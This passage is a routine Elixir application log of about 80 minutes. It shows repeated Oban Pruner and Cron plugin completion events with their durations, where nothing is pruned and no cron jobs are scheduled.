{"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:56.499 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.478 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:26.501 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:56.503 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.479 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:26.505 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:56.507 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.480 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:26.509 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:56.511 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.481 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:26.513 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:56.515 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.482 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:26.517 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:56.519 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.483 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:26.521 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:56.523 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.484 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:26.525 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:56.527 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.485 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:26.529 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:56.531 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.486 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:26.533 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:56.535 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.487 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:26.537 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:56.539 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.488 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:26.541 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:56.543 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.489 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:26.545 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:56.547 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.490 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:26.549 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:56.551 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.491 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:26.553 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:56.555 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.492 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:26.557 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:56.559 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.493 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:26.561 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:56.563 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.494 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:26.564 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:56.567 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.495 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:26.569 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:56.571 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.496 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:26.573 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:56.575 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.497 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:26.577 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:56.579 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.498 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:26.581 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:56.583 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.499 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:26.585 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:56.587 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.500 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:26.589 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:56.591 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.501 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:26.593 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:56.595 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.502 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:26.597 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:56.599 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.503 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:26.601 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:56.603 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.504 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:26.605 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:56.607 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.505 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:26.609 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:56.611 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.506 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:26.613 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:56.615 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.507 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:26.617 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:56.619 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.508 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:26.621 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:56.623 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.509 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:26.625 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:56.627 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.510 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:26.629 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:56.631 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.511 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:26.633 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:56.635 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.512 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:26.637 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:56.639 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.513 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:26.641 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:56.643 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.514 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:26.645 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:56.647 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.515 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:26.649 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:56.651 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.516 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:26.653 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:56.655 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.517 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:26.657 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:56.659 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.518 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:26.661 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:56.663 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.519 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:26.665 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:56.667 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.520 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:26.669 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:56.671 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.521 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:26.673 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:56.675 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.522 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:26.677 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:56.679 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.523 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:26.681 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:56.683 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.524 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:26.685 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:56.687 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.525 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:26.689 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:56.691 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.526 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:26.693 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:56.695 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.527 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:26.697 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:56.699 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.528 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:26.701 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:56.703 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.529 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:26.705 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:56.707 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.530 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:26.709 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:56.711 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.531 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:26.713 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:56.715 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.532 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:26.717 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:56.719 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.533 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:26.721 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:56.723 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.534 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:26.725 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:56.727 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.535 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:26.729 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:56.731 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.536 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:26.733 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:56.735 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.537 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:26.737 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:56.739 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.538 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:26.741 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:56.743 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.539 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:26.745 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:56.747 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.540 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:26.749 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:56.751 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.541 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:26.753 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:56.755 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.542 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:26.757 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:56.759 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.543 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:26.761 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:56.763 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.544 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:26.765 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:56.767 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.545 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:26.769 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:56.771 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.546 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:26.773 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:56.775 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.547 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:26.777 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:56.779 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.548 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:26.781 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:56.783 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.549 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:26.785 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:56.787 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.550 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:26.789 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:56.791 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.551 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:26.793 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:56.795 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.552 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:26.797 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:56.799 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.553 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:26.801 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:56.803 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.554 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:26.805 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:56.807 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.555 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:26.809 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:56.811 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.556 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:26.813 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:56.815 [info] 